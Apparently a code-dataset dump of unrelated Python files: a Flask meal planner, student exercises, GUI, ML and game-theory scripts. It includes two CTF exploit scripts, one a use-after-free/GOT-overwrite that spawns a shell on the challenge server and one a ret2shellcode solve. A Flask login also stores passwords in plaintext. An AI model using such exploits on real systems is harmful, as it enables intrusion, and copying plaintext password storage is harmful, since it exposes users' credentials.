template again passing the list parameter for the template\n return render_template('meals.html',title='Meal Planner',year=datetime.now().year,message='Your meals.', mealplans = data)\n\n if request.method == 'GET':\n #when page is loaded refreshes the template for the workouts\n data=list(db.find({'match': session['username']}))\n\n return render_template('meals.html',title='Meal Planner',year=datetime.now().year,message='Your Meals.', mealplans = data)\n \n return render_template('meals.html', )\n return render_template('login.html')\n\n\n\n##signup function\n@app.route('/signup', methods=['POST','GET'])\ndef signup():\n\n if request.method == 'POST':\n\n #in users database\n users = client.gtmongo.users\n #if the name exists\n ifexists = users.find_one({'name' : request.form['username']})\n\n #if the username dosent exist\n if ifexists is None:\n #insert username and password\n users.insert({'name' : request.form['username'],'password' : request.form['password']})\n #username saved to the session\n session['username'] = request.form['username']\n #brought to the template for login after signup\n return render_template('login.html',year=datetime.now().year)\n #if the name exists\n return render_template('signup.html',year=datetime.now().year, message='Signup Failed, username already exists')\n\n return render_template('signup.html')\n\n#login function\n@app.route('/login', methods=['POST','GET'])\ndef login():\n users = client.gtmongo.users\n username_login_found = users.find_one({'name' : request.form['username']})\n\n if username_login_found:\n if request.form['password'] == username_login_found['password']:\n\n session['username'] = request.form['username']\n\n return render_template('index.html')\n\n return render_template('login.html',year=datetime.now().year, message='Login Failed, please ensure details are correct')\n\n","sub_path":"GainTracker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"124647730","text":"\"\"\"\nHacer un programa que calcule el precio de una visita al cine con\nuna cantidad indeterminada de asistentes y siguiendo las siguientes\nreglas segun la edad del visitante:\n $0 si es menor de 2 años\n $3 si es menor de 10 años\n $7 si es menor de 20 años\n $10 si es menor de 60 años\n $7 si es mayor o igual que 60\n\"\"\"\n\n# Creamos la factura\nvalor_factura = 0\n\n# Preguntamos hasta que se canse el usuario\nwhile True:\n edad = input(\"Ingrese la edad del visitante\\n\")\n\n # Intentamos convertir la edad\n try:\n edad = int(edad)\n if edad < 2:\n valor_factura += 0\n elif edad < 10:\n valor_factura += 3\n elif edad < 20:\n valor_factura += 7\n elif edad < 60:\n valor_factura += 10\n else:\n valor_factura += 7\n if 'n' == input(\"Desea agregar otro visitante? s/n\\n\").lower():\n break\n except ValueError:\n print('La edad debe ser un número')\n\nprint('El total de su factura es', valor_factura)\n","sub_path":"Semana8/cine.py","file_name":"cine.py","file_ext":"py","file_size_in_byte":1027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"315374722","text":"'''\r\n첫째 줄에는 테스트 케이스의 개수 C가 주어진다.\r\n\r\n둘째 줄부터 각 테스트 케이스마다 학생의 수 \r\nN(1 ≤ N ≤ 1000, N은 정수)이 첫 수로 주어지고, \r\n이어서 N명의 점수가 주어진다. \r\n점수는 0보다 크거나 같고, 100보다 작거나 같은 정수이다.\r\n\r\n각 케이스마다 한 줄씩 평균을 넘는 학생들의 비율을 \r\n반올림하여 소수점 셋째 자리까지 출력한다.\r\n'''\r\nimport sys\r\ntest_case=int(input())\r\n\r\nfor i in range(test_case):\r\n data=list(map(int,sys.stdin.readline().split()))\r\n count=0\r\n average=sum(data[1:])/data[0]\r\n for j in range(1,data[0]+1):\r\n if data[j]>average:\r\n count+=1\r\n answer=round(count/data[0]*100,3)\r\n print(f'{answer:.3f}%' )","sub_path":"평균은_넘겠지.py","file_name":"평균은_넘겠지.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"225320083","text":"from PyQt5 import QtCore, QtGui, QtWidgets\n\nclass Ui_MainWindow(object):\n def setupUi(self, MainWindow):\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(640, 537)\n self.centralwidget = QtWidgets.QWidget(MainWindow)\n self.centralwidget.setObjectName(\"centralwidget\")\n self.tabWidget = QtWidgets.QTabWidget(self.centralwidget)\n self.tabWidget.setGeometry(QtCore.QRect(0, 0, 611, 501))\n self.tabWidget.setStyleSheet(\"\")\n self.tabWidget.setObjectName(\"tabWidget\")\n self.tab_1 = QtWidgets.QWidget()\n self.tab_1.setStyleSheet(\"background:rgb(155, 122, 200)\\n\"\n\"\")\n self.tab_1.setObjectName(\"tab_1\")\n self.tableView = QtWidgets.QTableView(self.tab_1)\n self.tableView.setGeometry(QtCore.QRect(10, 10, 521, 301))\n self.tableView.setObjectName(\"tableView\")\n self.tabWidget.addTab(self.tab_1, \"\")\n self.tab = QtWidgets.QWidget()\n self.tab.setStyleSheet(\"background:orange\")\n self.tab.setObjectName(\"tab\")\n self.tabWidget.addTab(self.tab, \"\")\n MainWindow.setCentralWidget(self.centralwidget)\n self.menubar = QtWidgets.QMenuBar(MainWindow)\n self.menubar.setGeometry(QtCore.QRect(0, 0, 640, 23))\n self.menubar.setObjectName(\"menubar\")\n self.menu = QtWidgets.QMenu(self.menubar)\n self.menu.setObjectName(\"menu\")\n self.menu_2 = QtWidgets.QMenu(self.menubar)\n self.menu_2.setObjectName(\"menu_2\")\n self.menu_3 = QtWidgets.QMenu(self.menubar)\n self.menu_3.setObjectName(\"menu_3\")\n MainWindow.setMenuBar(self.menubar)\n self.statusbar = QtWidgets.QStatusBar(MainWindow)\n self.statusbar.setObjectName(\"statusbar\")\n MainWindow.setStatusBar(self.statusbar)\n self.menubar.addAction(self.menu.menuAction())\n self.menubar.addAction(self.menu_2.menuAction())\n self.menubar.addAction(self.menu_3.menuAction())\n\n self.retranslateUi(MainWindow)\n self.tabWidget.setCurrentIndex(0)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n def retranslateUi(self, MainWindow):\n _translate = QtCore.QCoreApplication.translate\n MainWindow.setWindowTitle(_translate(\"MainWindow\", \"对讲模块\"))\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_1), _translate(\"MainWindow\", \"设备列表\"))\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab), _translate(\"MainWindow\", \"分组码列表\"))\n self.menu.setTitle(_translate(\"MainWindow\", \"设备查看\"))\n self.menu_2.setTitle(_translate(\"MainWindow\", \"分组查看\"))\n self.menu_3.setTitle(_translate(\"MainWindow\", \"主板信息查看\"))\n\n# 作者：Symbian米汤\n# 链接：https://www.jianshu.com/p/7812da75db13\n# 來源：简书\n# 著作权归作者所有。商业转载请联系作者获得授权，非商业转载请注明出处。","sub_path":"07GUI/08Pyqt5/07Qtableview/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"293359071","text":"#!/usr/bin/python\nimport pwn\n\nclass MonkeExploit:\n \"\"\"\n Eats the useless messages returned by the server\n \"\"\"\n def eatmessage(self):\n if self.banana_unlocked:\n self.s.recvuntil(\"3: take banana\\n\")\n else:\n self.s.recvuntil(\"2: inventory\\n\")\n \n def walk(self, direction):\n s = self.s\n s.sendline(\"0\")\n s.recvuntil(\"[n|s|e|w]\\n\")\n s.sendline(direction)\n buf = s.recvline()\n self.eatmessage()\n return buf\n\n def take_banana(self, name):\n # send \"take banana\" option\n s = self.s\n s.sendline(\"3\")\n s.recvuntil(\"like the name to be:\\n\")\n s.sendline(\"%s\" % (len(name) + 2))\n s.recvuntil(\"like to name it:\\n\")\n s.sendline(name)\n self.eatmessage()\n\n def eat_banana(self, item):\n s = self.s\n s.sendline(\"2\")\n s.sendline(\"%d\" % item)\n s.recvuntil(\"rename]:\")\n s.sendline(\"eat\")\n self.eatmessage()\n\n def __init__(self, is_remote=False):\n if not is_remote:\n self.s = pwn.process(\"./monke\")\n self.libc = pwn.ELF(\"/usr/lib/libc.so.6\")\n else:\n self.s = pwn.remote(\"pwn.utctf.live\", 9999)\n self.libc = pwn.ELF(\"libc-2.27.so\")\n self.banana_unlocked = False\n\n # Walk until we have bananas\n print(self.walk(\"s\"))\n self.banana_unlocked = True\n print(self.walk(\"s\"))\n\n # Create a dummy banana\n self.take_banana(\"A\"*0x10)\n\n # Now go to the 4th dimension so we can delete bananas\n self.banana_unlocked = False\n print(self.walk(\"k\"))\n\n # Walk until we find new bananas\n print(self.walk(\"n\"))\n print(self.walk(\"n\"))\n print(self.walk(\"n\"))\n\n # This time we get bananas\n self.banana_unlocked = True\n self.walk(\"n\")\n\n # Trigger the UAF\n self.eat_banana(0)\n self.take_banana(\"A\"*0x10)\n \n # Now try to get a glibc leak\n self.s.sendline(\"2\")\n self.s.sendline(\"0\")\n self.s.recvuntil(\"rename]:\\n\")\n self.s.sendline(\"rename\")\n self.s.recvuntil(\"like to name it:\\n\")\n FGETS_ADDR = 0x602018\n self.s.sendline(pwn.pack(FGETS_ADDR,64) + pwn.pack(0x8, 64))\n self.eatmessage()\n \n self.s.sendline(\"2\")\n print(self.s.recvline())\n print(self.s.recvline())\n glibc_leak = self.s.recvline()[3:-1]\n print(glibc_leak)\n \n glibc_base = pwn.unpack(glibc_leak, len(glibc_leak)*8) - self.libc.symbols['free']\n print(hex(glibc_base))\n SYSTEM_ADDR = glibc_base + self.libc.symbols['system']\n\n # Rename the second banana, which will write into free relro entry\n self.s.sendline(\"1\")\n self.s.recvuntil(\"rename]:\\n\")\n self.s.sendline(\"rename\")\n self.s.recvuntil(\"like to name it:\\n\")\n self.s.sendline(pwn.pack(SYSTEM_ADDR, 48))\n self.eatmessage()\n\n self.take_banana(\"/bin/sh\")\n self.s.sendline(\"2\")\n print(self.s.recvline())\n print(self.s.recvline())\n print(self.s.recvline())\n print(self.s.recvline())\n self.s.sendline(\"2\")\n print(self.s.recvline())\n self.s.sendline(\"eat\")\n self.s.interactive()\ns = MonkeExploit(True)","sub_path":"2021/utctf/pwn/monke/pwn_monke.py","file_name":"pwn_monke.py","file_ext":"py","file_size_in_byte":3324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"129760405","text":"import matplotlib.pyplot as plt\n\nimport numpy as np\n\nb = 5\nprint(b)\na = np.linspace(3, -3, 10)\nx = np.arange(-5, 5, 0.1)\nprint(x)\nfor a1 in a:\n y = a1 * x + b\n plt.plot(x, y, label=f\"y={a1}x+{b:.1f}\")\nplt.legend(loc=2)\nplt.axhline(0, color='black')\nplt.axvline(0, color='black')\nplt.show()\n","sub_path":"demo3_plot_y_ax_b_2.py","file_name":"demo3_plot_y_ax_b_2.py","file_ext":"py","file_size_in_byte":296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"480079635","text":"class Cliente(Persona):\n def __init__(self, nombre, apellido, dni, direccion, telefono, mail,fechaAlta, fechaBaja, sucursal,numerocu):\n Persona.__init__(self, nombre, apellido, dni, direccion, telefono, mail)\n self.nombre = nombre\n self.apellido = apellido\n self.dni = dni\n self.direccion = direccion\n self.telefono = telefono\n self.mail = mail\n self.fechaAlta = fechaAlta\n self.fechaBaja = fechaBaja\n self.sucursal = sucursal\n self.cuenta = Cuenta(numerocu)\n\n\n def clienteActivo(self): # define si el cliente esta activo o no\n if self.fechaBaja == None: # pegunta si fechaBaja no esta el cliente esta activo\n print(\"Cliente Activo\")\n else:\n print(\"Cliente Inactivo\")\n","sub_path":"ingenieriaDelSoftware/clienteBco.py","file_name":"clienteBco.py","file_ext":"py","file_size_in_byte":787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"532923194","text":"from django.urls import path\nfrom voting import views\n\nurlpatterns = [\n path('', views.home, name='home'),\n path('signup', views.signup, name='signup'),\n path('login', views.login, name='login'),\n path('logout',views.logout,name='logout'),\n path('adminlogin/', views.adminlogin, name='adminlogin'),\n path('vote/', views.voting, name='voting'),\n path('submit/', views.submit, name='submit'),\n path('thanks/', views.thanks, name='thanks'),\n path('count',views.count,name='count'),\n]\n","sub_path":"backend/voting/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"650420242","text":"#coding=utf-8\nimport sys\nsys.path.append(\"..\")\nimport pickle \nimport numpy as np\nimport os\nimport tensorflow as tf\nimport time\nimport scipy.misc\n\n\n\nclass Cifar100DataReader():\n def __init__(self,cifar_folder,batch_size,test_batch_size = 10000,onehot=True, resize=False):\n self.cifar_folder=cifar_folder\n self.onehot=onehot\n self.data_label_train=None # 训练集\n self.data_label_test=None # 测试集\n self.batch_index=0 # 训练数据的batch块索引\n self.test_batch_index=0 # 测试数据的batch_size\n self.batch_size = batch_size\n self.test_batch_size = test_batch_size\n self.resize = resize\n f=os.path.join(self.cifar_folder,\"train\") # 训练集有50000张图>片，100个类，每个类500张\n print ('read: %s'%f )\n fo = open(f, 'rb')\n self.dic_train = pickle.load(fo,encoding='bytes')\n # self.dic_train = pickle.load(fo,encoding='bytes')\n fo.close()\n self.data_label_train=list(zip(self.dic_train[b'data'],self.dic_train[b'fine_labels']) ) #label 0~99 \n np.random.shuffle(self.data_label_train)\n\n\n def dataInfo(self):\n print (self.data_label_train[0:2] )# 每个元素为二元组，第一个是numpy数组大小为32*32*3，第二是label\n print (self.dic_train.keys())\n print (b\"coarse_labels:\",len(self.dic_train[b\"coarse_labels\"]))\n print (b\"filenames:\",len(self.dic_train[b\"filenames\"]))\n print (b\"batch_label:\",len(self.dic_train[b\"batch_label\"]))\n print (b\"fine_labels:\",len(self.dic_train[b\"fine_labels\"]))\n print (b\"data_shape:\",np.shape((self.dic_train[b\"data\"])))\n print (b\"data0:\",type(self.dic_train[b\"data\"][0]))\n\n\n # 得到下一个batch训练集，块大小为100\n def next_train_data(self):\n \"\"\" \n return list of numpy arrays [na,...,na] with specific batch_size \n na: N dimensional numpy array \n \"\"\"\n if self.batch_index\n#\n# Distributed under terms of the MIT license.\n\nfrom pwn import *\n\np = process('./bamboo_ret2shellcode')\n# shellcode = asm(shellcraft.i386.linux.sh())\nshellcode = asm(shellcraft.sh())\nbuf2_addr = 0x804a080\n\np.sendline(shellcode.ljust(112, 'A') + p32(buf2_addr))\np.interactive()\n\n","sub_path":"bamboofox/ret2shellcode/solve_bamboo_ret2shellcode.py","file_name":"solve_bamboo_ret2shellcode.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"453195088","text":"import random\nimport socket as sock\ndrop = 0 #set to 0 to drop packets and 1 to never drop packets\ndrop_freq = 2 # 1 out of this many packets dropped\nnum_for_handshake = 4 #for this many packets we will never drop\nclass badSocket(sock.socket):\n\tdef __init__(self, *arg):\n\t\tself.AF_INET = sock.AF_INET \n\t\tself.SOCK_DGRAM = sock.SOCK_DGRAM\n\t\tself.num = num_for_handshake\n\t\tsuper(badSocket,self).__init__(*arg)\n\t\tprint('got here')\n\tdef socket(self, *arg):\n\t\treturn badSocket(sock.AF_INET, sock.SOCK_DGRAM)\n\tdef sendto_bad(self, data, addr):\n\t\tself.num -= 1\n\t\tif random.randint(drop,drop_freq) or self.num > 0:\n\t\t\tprint('sending this packet')\n\t\t\treturn super(badSocket, self).sendto(data, addr)\n\t\telse:\n\t\t\tprint('dropping this packet')\n\t\t\treturn len(data)\n\tdef send_bad(self, data):\n\t\tself.num -= 1\n\t\tif random.randint(drop,drop_freq) or self.num > 0:\n\t\t\tprint('sending this packet')\n\t\t\treturn super(badSocket, self).send(data)\n\t\telse:\n\t\t\tprint('dropping this packet')\n\t\t\treturn len(data)\n\tdef sendall_bad(self, data):\n\t\treturn self.send_bad(data)\ndef socket(self, *arg):\n\treturn badSocket(sock.AF_INET, sock.SOCK_DGRAM)\nAF_INET = sock.AF_INET \nSOCK_DGRAM = sock.SOCK_DGRAM\nerror = sock.error\ntimeout = sock.timeout\n","sub_path":"Project2/wrapper.py","file_name":"wrapper.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"228328398","text":"import cv2\nimport numpy as np\nfrom PIL import Image\n\n\nclass FaceReconstructor(object):\n \"\"\"\n Inverts the extraction steps of the FaceExtractor\n 0. Sharpen image, if option is selected\n 1. Invert fine cropping of the ROI\n 2. Invert alignment of eyes\n 3. Invert masking of background\n 4. Invert coarse cropping of the ROI\n \"\"\"\n\n def __init__(self, mask_factor=-10, postprocessing='blur'):\n \"\"\"\n :param mask_factor: Increase or decrease region to insert\n :param postprocessing: Enable sharpening or blurring\n * None: No postprocessing\n * 'blur': blur image\n * 'sharp': sharpen image\n \"\"\"\n self.postprocessing = postprocessing\n if self.postprocessing == 'sharp':\n self.face_sharpener = FaceSharpener()\n if self.postprocessing == 'blur':\n self.face_blurer = FaceBlurer()\n self.face_decropper_fine = FaceDecropperFine()\n self.face_dealigner = FaceDealigner()\n self.face_demasker = FaceDemasker(mask_factor)\n self.face_decropper_coarse = FaceDecropperCoarse()\n\n def __call__(self, processed_image, extraction_information):\n \"\"\"\n :param processed_image: PIL image\n :param extraction_information: namedtuple with the following elements\n * image_original: The original scene (PIL image)\n * image_cropped: The cropped region from the original image (PIL image)\n * bounding_box_coarse: Namedtuple with the coordinates of the cropped ROI\n in the original image\n * offsets_coarse: index shift to pad image and prevent indices out of image\n * size_coarse: size (quadratic) of the coarse cropped image\n * mask: Mask applied to filter background\n * rotation: Namedtuple with rotation and rotation center to align eyes\n * bounding_box_fine: Namedtuple with the coordinates of the fine cropped\n ROI in the coarse cropped region\n * offsets_fine: index shift to pad image and prevent indices out of image\n * size_fine: size (quadratic) of the fine cropped image\n * landmarks: coordinates of facial regions (x,y)\n :return: reconstructed image (PIL image)\n \"\"\"\n # Convert PIL image into np.array\n processed_image = np.array(processed_image)\n original_image = np.array(extraction_information.image_original)\n coarse_cropped_image = np.array(extraction_information.image_cropped)\n\n if self.postprocessing == 'sharp':\n post_processed_image = self.face_sharpener(processed_image)\n elif self.postprocessing == 'blur':\n post_processed_image = self.face_blurer(processed_image)\n else:\n post_processed_image = processed_image\n decropped_image = self.face_decropper_fine(post_processed_image,\n extraction_information.bounding_box_fine,\n extraction_information.offsets_fine,\n extraction_information.size_coarse)\n dealigned_image = self.face_dealigner(decropped_image,\n extraction_information.rotation)\n demasked_image = self.face_demasker(dealigned_image,\n coarse_cropped_image,\n extraction_information.mask)\n decropped_image = self.face_decropper_coarse(demasked_image,\n original_image,\n extraction_information.bounding_box_coarse,\n extraction_information.offsets_coarse)\n # Convert np.array into PIL image\n reconstructed_image = Image.fromarray(decropped_image)\n return reconstructed_image\n\n\nclass FaceSharpener(object):\n \"\"\"\n Sharpen the given image\n Sharpening via inverse gaussian filtering on the\n L channel of the image in the CIELab color space\n \"\"\"\n\n def __init__(self, sharp_factor=5):\n \"\"\"\n :param sharp_factor: Sharpening degree\n \"\"\"\n self.sharp_factor = sharp_factor\n\n def __call__(self, image):\n image = cv2.cvtColor(image, cv2.COLOR_RGB2Lab)\n # Extract L channel\n L = image[:, :, 0]\n # Inverse filtering\n L_blur = cv2.GaussianBlur(L, (0, 0), self.sharp_factor)\n L_sharp = cv2.addWeighted(L_blur, -1, L, 2, 0)\n # Substitute L channel with sharpened L channel\n image[:, :, 0] = L_sharp\n image = cv2.cvtColor(image, cv2.COLOR_Lab2RGB)\n\n return image\n\n\nclass FaceBlurer(object):\n \"\"\"\n Blur the given image\n Blur via gaussian filtering on the\n L channel of the image in the CIELab color space\n \"\"\"\n\n def __init__(self, blur_factor=1.5):\n \"\"\"\n :param blur_factor: Blurring degree\n \"\"\"\n self.blur_factor = blur_factor\n\n def __call__(self, image):\n image = cv2.cvtColor(image, cv2.COLOR_RGB2Lab)\n # Extract L channel\n L = image[:, :, 0]\n # Gaussian blurring\n L_blur = cv2.GaussianBlur(L, (0, 0), self.blur_factor)\n # Substitute L channel with blurred L channel\n image[:, :, 0] = L_blur\n image = cv2.cvtColor(image, cv2.COLOR_Lab2RGB)\n\n return image\n\n\nclass FaceDecropperFine(object):\n \"\"\"\n Invert the fine cropping of the aligned and masked image\n \"\"\"\n\n def __call__(self, cropped_image, bounding_box, offsets, size_coarse):\n \"\"\"\n :param cropped_image: The constructed image\n :param bounding_box: named tuple with absolute coordinates of the fine crop\n :param offsets: named tuple with the offsets (padding + image out of range) of the fine\n crop for every bounding box side\n :param size_coarse: size of the coarse cropped image\n :return: The aligned face only coarsely cropped\n \"\"\"\n decropped_image = np.zeros((size_coarse, size_coarse, cropped_image.shape[2]), dtype=np.uint8)\n # Invert the crop\n decropped_image[bounding_box.top:bounding_box.bottom, bounding_box.left:bounding_box.right] = \\\n cropped_image[offsets.top:offsets.bottom, offsets.left:offsets.right]\n return decropped_image\n\n\nclass FaceDealigner(object):\n \"\"\"\n Invert the alignment of the face with the position of the eyes\n \"\"\"\n\n def __call__(self, aligned_image, rotation):\n \"\"\"\n :param aligned_image: The uncropped constructed image\n :param rotation: The rotation applied to align the image\n :return: The constructed image in original pose\n \"\"\"\n H, W = aligned_image.shape[:2]\n R = cv2.getRotationMatrix2D(rotation.center, -rotation.angle, 1.0)\n dealigned_image = cv2.warpAffine(aligned_image, R, (W, H))\n return dealigned_image\n\n\nclass FaceDemasker(object):\n \"\"\"\n Invert the masking of the image\n The mask can be additionally accessed via an morphological operation\n Recommended is an erosion to fit only the center of the face\n \"\"\"\n\n def __init__(self, morphing=-10):\n \"\"\"\n :param morphing: Size of the morphological kernel in percent of\n the image size\n * morphing > 0: dilation -> increase mask\n * morphing < 0: erosion -> decrease mask (recommended)\n \"\"\"\n self.morphing = morphing\n\n def __call__(self, masked_image, cropped_image, mask):\n \"\"\"\n :param masked_image: The masked constructed image\n :param cropped_image: The cropped original image\n :param mask: The mask applied to the image\n :return: The reconstructed image in the cropped scene\n \"\"\"\n H, W = masked_image.shape[:2]\n\n # Calculate image resolution dependent kernel (H==W) (odd size)\n k_size = int(abs(self.morphing) / 100 * H)\n k_size = k_size if (k_size % 2 == 1) else k_size + 1\n kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (k_size, k_size))\n # Execute morphological operations\n # Dilation -> increase masked region\n # Erosion -> decrease masked region\n operation = cv2.MORPH_ERODE if self.morphing < 0 else cv2.MORPH_DILATE\n mask = cv2.morphologyEx(mask, op=operation, kernel=kernel)\n demasked_image = mask[:, :, None] * masked_image + (1 - mask[:, :, None]) * cropped_image\n demasked_image = demasked_image.astype(np.uint8)\n return demasked_image\n\n\nclass FaceDecropperCoarse(object):\n \"\"\"\n Invert the coarse cropping of the image\n \"\"\"\n\n def __call__(self, cropped_image, original_image, bounding_box, offsets):\n \"\"\"\n :param cropped_image: The cropped constructed image\n :param original_image: The original image\n :param bounding_box: Indicator where the cropped region was in the image\n :param offsets: named tuple with the offsets (padding + image out of range) of the\n crop for every bounding box side\n :return: The reconstructed image in the original scene\n \"\"\"\n decropped_image = original_image.copy()\n decropped_image[bounding_box.top:bounding_box.bottom, bounding_box.left:bounding_box.right] = \\\n cropped_image[offsets.top:offsets.bottom, offsets.left:offsets.right]\n return decropped_image\n","sub_path":"implementation/Preprocessor/FaceReconstructor.py","file_name":"FaceReconstructor.py","file_ext":"py","file_size_in_byte":9675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"138294971","text":"# -*- coding: utf-8 -*-\n\"\"\"\nModels for the project module.\n\"\"\"\n\n\nfrom django.db import models\n\n\nclass Project(models.Model):\n \"\"\"\n Represenatatino of a project. Has an\n identifier (like that one in redmine),\n a name etc.\n \n Can be configured to be displayed on the dashboard (or not).\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n identifier = models.CharField(max_length=100, unique=True)\n name = models.CharField(max_length=255)\n description = models.TextField(null=True, blank=True)\n created_on = models.DateTimeField()\n updated_on = models.DateTimeField()\n dashboard_show = models.BooleanField(default=True)\n dashboard_color = models.CharField(max_length=7, default='#96BF0D', help_text='HTML Color Hex Code (e.g. #ff0000)')\n \n def __unicode__(self):\n return self.identifier\n\n\nclass Employee(models.Model):\n \"\"\"\n An employee belongs to many projects. The rest should be self explanatory. :)\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n login = models.CharField(max_length=255, unique=True)\n firstname = models.CharField(max_length=255)\n lastname = models.CharField(max_length=255)\n mail = models.CharField(max_length=255)\n created_on = models.DateTimeField()\n last_login_on = models.DateTimeField(null=True, blank=True)\n project = models.ManyToManyField(Project)\n \n def __unicode__(self):\n return self.login\n\n\nclass IssueTracker(models.Model):\n \"\"\"\n Bug, Feature or Support? Taken from Redmine, but should be relatively\n generic to use with other ticket systems.\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n name = models.CharField(max_length=255)\n\n\nclass IssueStatus(models.Model):\n \"\"\"\n The status of an issue. For example: New, In Progress, et cetera.\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n name = models.CharField(max_length=255)\n \n def __unicode__(self):\n return self.name\n \n class Meta:\n verbose_name_plural = 'Issue status'\n\n\nclass IssuePriority(models.Model):\n \"\"\"\n The priority of an issue.\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n name = models.CharField(max_length=255)\n \n class Meta:\n verbose_name_plural = 'Issue priorities'\n\n\nclass Issue(models.Model):\n \"\"\"\n An issue. Belongs to a project. All issues will be wiped and re-imported\n from/to database upon import.\n \"\"\"\n id = models.PositiveIntegerField(primary_key=True, editable=False)\n subject = models.CharField(max_length=255)\n description = models.TextField(null=True, blank=True)\n done_ratio = models.PositiveSmallIntegerField()\n created_on = models.DateTimeField()\n updated_on = models.DateTimeField()\n start_date = models.DateField(null=True, blank=True)\n due_date = models.DateField(null=True, blank=True)\n estimated_hours = models.FloatField(null=True, blank=True)\n author = models.ForeignKey(Employee, related_name='author')\n project = models.ForeignKey(Project)\n status = models.ForeignKey(IssueStatus)\n assigned_to = models.ForeignKey(Employee, null=True)\n tracker = models.ForeignKey(IssueTracker)\n priority = models.ForeignKey(IssuePriority)\n imported_at = models.DateTimeField()\n \n def admin_status(self):\n return self.status.name\n admin_status.allow_tags = False\n admin_status.short_description = 'Status'\n\n","sub_path":"Quellcode/mp2board/modules/project/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"391242297","text":"\"\"\"\r\nWeak Prisonner's dilemna with Von NEumann neighbours\r\n\"\"\"\r\n\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport random\r\n\r\n\r\ndef make_lattice(n):\r\n lattice = []\r\n strategy = []\r\n for i in range(n):\r\n line_L = []\r\n line_R = []\r\n for j in range(n):\r\n line_L.append(0)\r\n # 0 for C and 1 for D\r\n line_R.append(random.choice([0,1]))\r\n lattice.append(line_L)\r\n strategy.append(line_R)\r\n lattice = np.array(lattice)\r\n strategy = np.array(strategy)\r\n return lattice,strategy\r\n\r\n\r\ndef show_plot(strategy):\r\n plt.imshow(strategy,interpolation='nearest')\r\n plt.axis('off')\r\n plt.show()\r\n\r\n\r\ndef get_neighbours_von_neuman(row,col,size):\r\n x = row\r\n y = col\r\n up = x - 1\r\n right = (y + 1) % size\r\n down = (x + 1) % size\r\n left = y - 1\r\n\r\n u = (up, y)\r\n r = (x, right)\r\n d = (down, y)\r\n l = (x, left)\r\n\r\n return [u,r,d,l]\r\n\r\n\r\ndef score(pos, strategy, neighbours, payoff):\r\n \"\"\"\r\n Score for each player, sum of all the payoff of all the neighbours\r\n :param pos: position of player\r\n :param strategy: arrays of strategy of the players\r\n :param neighbours: list of tuples of positions for neighbours\r\n :param payoff: matrix of payoff\r\n :return: score\r\n \"\"\"\r\n R = payoff[0]\r\n S = payoff[1]\r\n T = payoff[2]\r\n P = payoff[3]\r\n x,y = pos\r\n score = 0\r\n\r\n if strategy[x][y] == 0:\r\n for neighbour in neighbours:\r\n a,b = neighbour\r\n if strategy[a][b] == 0:\r\n score += R\r\n else:\r\n score += S\r\n else:\r\n for neighbour in neighbours:\r\n a,b = neighbour\r\n if strategy[a][b] == 0:\r\n score += T\r\n else:\r\n score += P\r\n\r\n return score\r\n\r\n\r\ndef update_scores_von_neuman(lattice,strategy,payoff,size):\r\n \"\"\"\r\n Update the lattice with von neumann neighbours\r\n \"\"\"\r\n for i in range(size):\r\n for j in range(size):\r\n neighbours = get_neighbours_von_neuman(i,j,size)\r\n lattice[i][j] = score((i,j),strategy,neighbours,payoff)\r\n\r\n\r\ndef update_strat_von_neuman(lattice,strategy,size):\r\n new_strategy = np.zeros((size,size))\r\n for i in range(size):\r\n for j in range(size):\r\n neighbours = get_neighbours_von_neuman(i,j,size)\r\n best_score = lattice[i][j]\r\n best_strat = strategy[i][j]\r\n for neighbour in neighbours:\r\n x,y = neighbour\r\n if best_score < lattice[x][y]:\r\n best_score = lattice[x][y]\r\n best_strat = strategy[x][y]\r\n new_strategy[i][j] = best_strat\r\n return new_strategy\r\n\r\n\r\ndef plot_coop(cooperation_level,size):\r\n fig = plt.figure()\r\n fig.suptitle(\"Cooperation level Stag-Hunt game with Von Neumann neighbours\\nLattice of \"\r\n \"size %sx%s & Unconditional\" % (size,size),\r\n fontsize=14,\r\n fontweight='bold')\r\n\r\n ax = fig.add_subplot(111)\r\n\r\n ax.set_xlabel('Turns')\r\n ax.set_ylabel('Cooperation level averaged over 100 runs')\r\n x = np.arange(101)\r\n cooperation_level = np.array(cooperation_level)\r\n y = np.mean(cooperation_level,axis=0)\r\n ax.plot(x,y)\r\n ax.set_ylim([0,1])\r\n\r\n plt.show()\r\n\r\n\r\ndef final_distribution(final_coop,size):\r\n fig = plt.figure()\r\n fig.suptitle(\"Distribution of final cooperation levels 